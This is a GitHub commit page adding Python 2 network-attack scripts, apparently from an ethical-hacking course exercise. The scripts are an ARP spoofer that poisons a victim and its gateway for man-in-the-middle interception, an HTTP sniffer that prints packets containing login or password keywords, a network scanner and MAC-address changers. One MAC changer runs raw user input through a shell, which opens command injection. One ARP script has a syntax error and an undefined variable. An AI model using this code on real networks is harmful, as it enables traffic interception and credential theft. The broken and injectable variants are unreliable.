Skip to content
This repository was archived by the owner on Aug 24, 2023. It is now read-only.

Commit da67795

Browse files
author
root
committed
Uploaded
1 parent 4bea89f commit da67795

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

62 files changed

+2910
-0
lines changed

arp_spoof-refine.py

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
#!/usr/bin/python2
2+
3+
import scapy.all as scapy
4+
import time
5+
import sys
6+
import argparse
7+
8+
def get_ip():
9+
10+
parser=argparse.ArgumentParser()
11+
parser.add_argument("-t","--target",dest="victim",help="Specify Victim IP addres")
12+
parser.add_argument("-s","--spoof",dest="spoof",help="Specify Spoofing IP addres")
13+
options = parser.parse_args()
14+
15+
if not options.victim:
16+
parser.error("[-] Specify an IP Address for victim --help for more details")
17+
18+
if not options.spoof:
19+
parser.error("[-] Specify an IP Address for spoofing --help for more details")
20+
21+
return options
22+
23+
ip = get_ip()
24+
25+
target_ip = ip.victim
26+
gateway_ip = ip.spoof
27+
28+
def getmac_all(ip_range):
29+
30+
arp_request_header = scapy.ARP(pdst = ip_range)
31+
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
32+
arp_request_packet = ether_header/arp_request_header
33+
answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
34+
35+
#return answered_list[0][1].hwsrc
36+
clients_list = []
37+
38+
for elements in answered_list:
39+
#client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
40+
client_dict = {elements[1].psrc:elements[1].hwsrc}
41+
clients_list.append(client_dict)
42+
43+
return clients_list
44+
45+
ip_mac = getmac_all(ip_range)
46+
#ip_mac = getmac_all("192.168.43.1/24")
47+
print ip_mac
48+
49+
def getmac(ip_addr):
50+
for items in ip_mac:
51+
if ip_addr in items.keys()
52+
mac_addr = items[ip_addr]
53+
return mac_addr
54+
55+
56+
def spoof(target_ip,spoof_ip):
57+
58+
dst_mac = getmac(target_ip)
59+
60+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
61+
scapy.send(arp_respond,verbose=False)
62+
63+
def restore(target_ip,gateway_ip):
64+
65+
dst_mac=getmac(target_ip)
66+
src_mac=getmac(gateway_ip)
67+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
68+
scapy.send(arp_respond,verbose=False,count=4)
69+
70+
count = 0
71+
72+
try:
73+
while True:
74+
75+
spoof(target_ip,gateway_ip)
76+
#telling client i am the router
77+
spoof(gateway_ip,target_ip)
78+
#telling router i am the client
79+
count = count + 2
80+
print "\r[+] send two packets "+str(count),
81+
sys.stdout.flush()
82+
time.sleep(1)
83+
84+
except KeyboardInterrupt:
85+
86+
print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
87+
88+
restore(target_ip,gateway_ip)
89+
#restoring client
90+
restore(gateway_ip,target_ip)
91+
#restoring router

arp_spoof.py

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
#!/usr/bin/python2
2+
3+
import scapy.all as scapy
4+
import time
5+
import sys
6+
import argparse
7+
8+
def get_ip():
9+
10+
parser=argparse.ArgumentParser()
11+
parser.add_argument("-t","--target",dest="victim",help="Specify Victim IP addres")
12+
parser.add_argument("-s","--spoof",dest="spoof",help="Specify Spoofing IP addres")
13+
options = parser.parse_args()
14+
15+
if not options.victim:
16+
parser.error("[-] Specify an IP Address for victim --help for more details")
17+
18+
if not options.spoof:
19+
parser.error("[-] Specify an IP Address for spoofing --help for more details")
20+
21+
return options
22+
23+
ip = get_ip()
24+
25+
target_ip = ip.victim
26+
gateway_ip = ip.spoof
27+
28+
def getmac(ip):
29+
30+
arp_request_header = scapy.ARP(pdst = ip)
31+
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
32+
arp_request_packet = ether_header/arp_request_header
33+
answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
34+
35+
return answered_list[0][1].hwsrc
36+
37+
38+
def spoof(target_ip,spoof_ip):
39+
40+
dst_mac = getmac(target_ip)
41+
42+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
43+
scapy.send(arp_respond,verbose=False)
44+
45+
def restore(target_ip,gateway_ip):
46+
47+
dst_mac=getmac(target_ip)
48+
src_mac=getmac(gateway_ip)
49+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
50+
scapy.send(arp_respond,verbose=False,count=4)
51+
52+
count = 0
53+
54+
try:
55+
while True:
56+
57+
spoof(target_ip,gateway_ip)
58+
#telling client i am the router
59+
spoof(gateway_ip,target_ip)
60+
#telling router i am the client
61+
count = count + 2
62+
print "\r[+] send two packets "+str(count),
63+
sys.stdout.flush()
64+
time.sleep(1)
65+
66+
except KeyboardInterrupt:
67+
68+
print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
69+
70+
restore(target_ip,gateway_ip)
71+
#restoring client
72+
restore(gateway_ip,target_ip)
73+
#restoring router

macchanger.py

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
#!/usr/bin/python2
2+
3+
import argparse
4+
import subprocess
5+
import re
6+
7+
def get_argument():
8+
9+
parser=argparse.ArgumentParser()
10+
parser.add_argument("-i","--interface",dest="interface",help="Specify Interface to change the MAC")
11+
parser.add_argument("-m","--macaddr",dest="macaddr",help="Specify MAC address to change")
12+
options = parser.parse_args()
13+
14+
if not options.interface:
15+
parser.error("[-] Specify an Interface use python macchanger --help for more details")
16+
elif not options.macaddr:
17+
parser.error("[-] Specify an MacAddr use python macchanger --help for more details")
18+
19+
return options
20+
21+
def macchanger(interface,macaddr):
22+
23+
subprocess.call(["ifconfig",interface,"down"])
24+
subprocess.call(["ifconfig",interface,"hw","ether",macaddr])
25+
subprocess.call(["ifconfig",interface,"up"])
26+
27+
print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
28+
29+
def getmac(interface):
30+
31+
ifconfig_result = subprocess.check_output(["ifconfig",interface])
32+
current_mac = re.findall(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",ifconfig_result)
33+
34+
if current_mac:
35+
return current_mac[0]
36+
else:
37+
return None
38+
39+
40+
options = get_argument()
41+
42+
macchanger(options.interface,options.macaddr)
43+
44+
final_mac = getmac(options.interface)
45+
46+
if final_mac == options.macaddr:
47+
print "Mac Address Successfully Chaged with new one %r"%final_mac
48+
else:
49+
print "Error Occured Fix It"

network-scanner.py

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
#!/usr/bin/python2
2+
3+
import scapy.all as scapy
4+
import argparse
5+
6+
def get_ip_range():
7+
8+
parser=argparse.ArgumentParser()
9+
parser.add_argument("-r","--range",dest="ipadrr",help="Specify an IP Address or a range of IP Address")
10+
options = parser.parse_args()
11+
12+
if not options.ipadrr:
13+
parser.error("[-] Specify an IP Address or a range of IP Address --help for more details")
14+
15+
return options
16+
17+
def scan(ip):
18+
19+
arp_request_header = scapy.ARP(pdst = ip)
20+
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
21+
arp_request_packet = ether_header/arp_request_header
22+
answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
23+
24+
clients_list = []
25+
for elements in answered_list:
26+
client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
27+
clients_list.append(client_dict)
28+
29+
return clients_list
30+
31+
def print_result(result_list):
32+
33+
print "\nIpAdrr\t\t\tMacAddr"
34+
print "------------------------------------------"
35+
for client in result_list:
36+
print client['ip'],"\t\t",client['mac']
37+
38+
ip = get_ip_range()
39+
40+
scan_result = scan(ip.ipadrr)
41+
42+
print_result(scan_result)
43+
44+
print "------------------------------------------"

packet_sniffer-final.py

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
#!/usr/bin/python2
2+
#filtering with 3 rd party module scap_http for request method
3+
#filter only creditials which contains login, username, password as keyword
4+
#extracting urls
5+
#refining the program
6+
7+
8+
import scapy.all as scapy
9+
from scapy.layers import http
10+
import argparse
11+
12+
parser=argparse.ArgumentParser()
13+
parser.add_argument("-i","--interface",dest="interface",help="Specify an interface to capture packets")
14+
options = parser.parse_args()
15+
16+
def sniff(interface):
17+
18+
scapy.sniff(iface = interface, store = False, prn = process_sniffed_packet,filter = "port 80" or "port 443")
19+
20+
def geturl(packet):
21+
22+
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
23+
24+
def get_login_info(packet):
25+
if packet.haslayer(scapy.Raw):
26+
load = packet[scapy.Raw].load
27+
keywords = ['login','LOGIN','user','pass','username','password','Login']
28+
29+
for keyword in keywords:
30+
if keyword in load:
31+
return load
32+
33+
def process_sniffed_packet(packet):
34+
35+
if packet.haslayer(http.HTTPRequest):
36+
#print packet.show()
37+
38+
url=geturl(packet)
39+
print "[+]HTTPRequest > "+ url
40+
41+
logininfo = get_login_info(packet)
42+
43+
if logininfo:
44+
print "\n\n[+]Possible username and password "+ logininfo+"\n\n"
45+
46+
47+
48+
sniff(options.interface)

zaid/1 mac_changer/getmac.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#!/usr/bin/python2
2+
3+
import subprocess
4+
import re
5+
6+
ifconf = subprocess.check_output(["ifconfig","enp2s0"])
7+
print ifconf
8+
9+
mac = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",ifconf)
10+
11+
print mac.group(0)

zaid/1 mac_changer/macchanger-1.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/usr/bin/python2
2+
3+
import subprocess
4+
5+
subprocess.call("ifconfig enp2s0 down",shell=True)
6+
subprocess.call("ifconfig enp2s0 hw ether 00:11:22:33:44:55",shell=True)
7+
subprocess.call("ifconfig enp2s0 up",shell=True)

zaid/1 mac_changer/macchanger-2.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#!/usr/bin/python2
2+
'''
3+
Storing the interface and mac addr to a variable and
4+
then pass the value to the command directly
5+
'''
6+
7+
import subprocess
8+
9+
interface = "enp2s0"
10+
macaddr = "00:11:22:33:44:55"
11+
12+
print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
13+
14+
15+
subprocess.call("ifconfig %s down"%interface,shell=True)
16+
subprocess.call("ifconfig %s hw ether %s"%(interface,macaddr),shell=True)
17+
subprocess.call("ifconfig %s up"%interface,shell=True)

zaid/1 mac_changer/macchanger-3.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#!/usr/bin/python2
2+
'''
3+
Getting the value for the interface and mac addr to a variable and
4+
then pass the value to the command directly
5+
'''
6+
7+
import subprocess
8+
9+
interface = raw_input("Interface> ")
10+
macaddr = raw_input("MacAddr> ")
11+
12+
print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
13+
14+
15+
subprocess.call("ifconfig %s down"%interface,shell=True)
16+
subprocess.call("ifconfig %s hw ether %s"%(interface,macaddr),shell=True)
17+
subprocess.call("ifconfig %s up"%interface,shell=True)

zaid/1 mac_changer/macchanger-4.py

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#!/usr/bin/python2
2+
'''
3+
Getting the value for the interface and mac addr to a variable and
4+
then pass the value to the command directly
5+
secure code
6+
handling user input if the user put ; or && to execute another command
7+
it will stop by removin the shell=True single string commmand
8+
rather we remove the shell=True and exec the computer and get command
9+
in a list variable one by one which will avoid this user-input manipulation
10+
'''
11+
12+
import subprocess
13+
14+
interface = raw_input("Interface> ")
15+
macaddr = raw_input("MacAddr> ")
16+
17+
print "[+] Changing Mac Address of Interface %s to %s"%(interface,macaddr)
18+
19+
20+
subprocess.call(["ifconfig",interface,"down"])
21+
subprocess.call(["ifconfig",interface,"hw","ether",macaddr])
22+
subprocess.call(["ifconfig",interface,"up"])

0 commit comments

Comments
 (0)